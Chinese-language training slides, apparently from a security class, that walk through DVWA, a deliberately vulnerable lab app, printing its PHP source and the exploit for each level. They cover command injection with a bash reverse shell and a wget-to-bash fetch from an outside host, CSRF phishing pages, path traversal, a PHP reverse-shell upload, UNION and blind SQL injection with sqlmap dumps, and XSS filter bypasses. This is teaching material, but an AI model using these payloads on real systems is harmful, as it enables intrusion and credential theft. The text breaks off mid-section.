2021/10/01 Training
DVWA
Damn Vulnerable Web App (DVWA)
Docker
docker run -d -p 80:80 vulnerables/web-dvwa --name dvwa
Login
username: admin
Password: password
Brute force
Burp suite爆破
password.txt
Command Injection
Target: 拿Shell
Command Injection (Low)
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
甚麼都沒濾
//payload
127.0.0.1 && ls
127.0.0.1; ls
//you can use this
-> no curl
wget -qO - <url> | bash
//your server
nc -nvlp 8787
#Reverse-shell
bash -i >& /dev/tcp/<your_server>/<your_port> 0>&1
#wget
#chess 提供der工具
wget -qO - http://chesskuo.tw/revsh.php?host=<host>&port=<port> | bash
Command Injection(Medium)
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
Command Injection(Medium)
-
能用
-
&
- 指令在背景執行
-
||
- 第一道指令執行失敗後, 才會執行第二道指令
-
|
- 這是pipe, 將第一道指令的輸出, 作為第二道指令的輸入
-
&
Command Injection(High)
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
Command Injection(High)
-
過濾一大堆
- 解法: 127.0.0.1 |ls
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '', <- pipe這邊多了一個空白
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
Command Injection(Impossible)
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
CSRF
CSRF
(Cross Site Request Forgery)
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
?>
CSRF(Low)
沒有進行任何檢查
能夠透過社交工程把帳戶密碼改掉
CSRF(Medium)
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
mysql_close();
}
?>
多了一層server_name的檢查
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
改referer?
只要在referer中含有host_name,即可跳轉
<img src="http://fjucpc.tk:8888/vulnerabilities/csrf/?password_new=<your_want>&password_conf=<your_want>&Change=Change" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
fjucpc.tk.html
釣魚網站
ex: http://beef.nisra.net:12346/fjucpc.tk.html
CSRF(High)
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
驗證Token
當發出request時,server會return token給你
token正確,server才會理你
所以要幹Token出來
利用XSS拿token
再利用token竄改密碼
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
給我token,改密碼
<form id="myform" action="http://127.0.0.1/vulnerabilities/csrf/" method="GET">
<input type="hidden" value="bbbb" name="password_new"><br />
<input type="hidden" value="bbbb" name="password_conf"><br />
<br />
<span style= "display:block">
token:<input type='text' name='user_token' value='' />
<input type="submit" value="change password" name="Change" >
</span>
</form>
beef.nisra.net:12346/fish.html
CSRF(impossible)
要求用戶輸入原密碼
File Inclusion
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
甚麼都沒濾
File Inclusion(Low)
../../../../../../../../../../../../etc/passwd
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
濾../, http://
File Inclusion(Medium)
..././..././..././..././..././..././..././etc/passwd
File Inclusion(High)
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
只允許file開頭的filter
file:///etc/passwd
File Inclusion(Impossible)
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
利用白名單
File Upload
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
File Upload(Low)
甚麼都沒濾
File Upload(Low)
reverse shell
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/<your_server>/<your_port> 0>&1'");
fuck.php
nc -nvlp <your_port>
server
File Upload(Medium)
檢查uploaded_type
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
File Upload(Medium)
檢查uploaded_type
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
File Upload(Medium)
用burp改type
image/jpeg
File Upload(Medium)
File Upload(High)
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
File Upload(High)
-
getimagesize(string filename)
- 這個function會檢查header,返回圖片長寬
- $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
- strtolower( $uploaded_ext ) == "jpg" ||
- strtolower( $uploaded_ext ) == "jpeg" ||
- strtolower( $uploaded_ext ) == "png"
- 檢查副檔案名稱
File Upload(High)
- 拿一張真正的圖片,在後面補`reverse_shell`
- 上傳時用`.jpg`當副檔名
- 利用command_injection的洞去注入,彈shell
File Upload(Impossible)
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
SQL Injection
SQL Injection(Low)
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
甚麼都沒濾,SQL語句字串串接
SQL Injection(Low)
SELECT first_name, last_name FROM users WHERE user_id = '$id';
# id = ' or 1=1 #
# 然後整張表的資料就噴出來了,因為後面where後面會變true
SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1 -- ';
拿帳密
# 查看DB, 版本
id: ' or 1=1 union select database(),version()
First name: dvwa
Surname: 10.1.26-MariaDB-0+deb9u1
# 猜column
id: ' or 1=1 union select 1,2 #
# 查table
' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa'#
# 查user table的column
' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
# 拿帳密囉
' union select user,password from dvwa.users#
SQL Injection(Medium)
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
SQL Injection(Medium)
可開burp改,也可開browser
SELECT first_name, last_name FROM users WHERE user_id = $id;
# id = 2 or 1=1 #
SELECT first_name, last_name FROM users WHERE user_id = 2 or 1=1 #;
SQL Injection(High)
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
從session拿id,多了Limit 1
SQL Injection(High)
SQL Injection(Impossible)
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
檢查輸入是否為數字、參數化查詢
SQL Injection (Blind)
只告訴你是或否的世界
SQL Injection (Blind) (Low)
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
只回顯 ID 是否 exist 或 Missing
SQL Injection (Blind) (Low)
只能盲注
- 先測簡單的boolean邏輯
- 依照回傳的true/false判斷到底回傳的資訊是否正確
# 用簡單邏輯先測
# User ID exists in the database.
1' and 1=1
# User ID is MISSING from the database.
1' and 1=2
# 猜db長度
1' and length(database())=4 #
# 猜db名字(1-index),>,=,<二分法找名字
1' and ascii(substr(database(),1,1))>97
# 找幾張表
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
# limit <index> <count>,猜表的名字
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
# 同樣方式可找column_name、以及裡面資料,但我懶了
SQLMAP 香
# 查看db
python sqlmap.py -u <url> --dbs
# 查看DB裡有甚麼表
python sqlmap.py -u <url> -D <db> --tables
# 查看table裡有甚麼column
python sqlmap.py -u <url> -D <db> -T <table> --columns
# 把資料dump下來
python sqlmap.py -u <url> -D <db> -T <table> --dump
# 請補上cookie,不然會被redirect到login.php
--cookie="securiy=<等級>; PHPSESSID=<請自行查看cookie>"
SQL Injection (Blind) (Medium)
濾這些
mysql_real_escape_string
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
SQL Injection (Blind) (Medium)
POST參數,用瀏覽器查看參數
# 用data參數
--data="id=1&Submit=submit"
SQL Injection (Blind) (High)
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
- 利用cookie參數傳id
- SQL傳入結果為empty,則會sleep(seconds),來打亂timebase注入
Time-based SQLi
# 簡單的time-base範例
1 and if(length(database())=4,sleep(5),1) #
針對cookie注入
# 查看db
python sqlmap.py -u <url> --dbs
# 查看DB裡有甚麼表
python sqlmap.py -u <url> -D <db> --tables
# 查看table裡有甚麼column
python sqlmap.py -u <url> -D <db> -T <table> --columns
# 把資料dump下來
python sqlmap.py -u <url> -D <db> -T <table> --dump
# 請補上cookie,不然會被redirect到login.php
--cookie="securiy=<等級>; PHPSESSID=<請自行查看>; id=3"
SQL Injection(Blind)(Impossible)
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Weak Session IDs
Weak Session IDs (Low)
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
每一次的post就讓session+1
Weak Session IDs (Medium)
使用時間戳記作為session
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>
Weak Session IDs (High)
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
利用md5-hash
Weak Session IDs (High)
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
利用md5-hash
Weak Session IDs (Impossible)
random數字 + 時間,然後sha-1 hash
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>
XSS(DOM)
XSS (DOM) (Low)
檢查前端是否有default=,以及擷取url字串,並無過濾
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
XSS (DOM) (Medium)
濾了<script,stripos不區分大小寫
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
XSS (DOM) (Medium)
//構造語句
http://fjucpc.tk:8888/vulnerabilities/xss_d/?default=English</option></select><img src=1 onerror=alert(1)>
- 直接插payload發現沒有起作用
- 把select跟option標籤包住,後面補payload
XSS (DOM) (High)
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
白名單,只允許傳這些值
XSS (DOM) (High)
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
利用#,使註解後的資訊不送到後端
XSS (DOM) (Impossible)
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
(lang) 取代 decodeURI(lang)
XSS(Reflected)
XSS (Reflected) (Low)
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
啥都沒濾
<script>alert(1)</script>
XSS (Reflected) (Medium)
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
濾<script>
//在Name輸入,並且改maxlength
//寫兩次繞過
<scr<script>ipt>alert(1);</script>
//大小寫繞過
<ScRipt>alert(1);</ScRipt>
XSS (Reflected) (High)
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
比對<script>
用<img>,<iframe>...等標籤
XSS (Reflected) (Impossible)
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
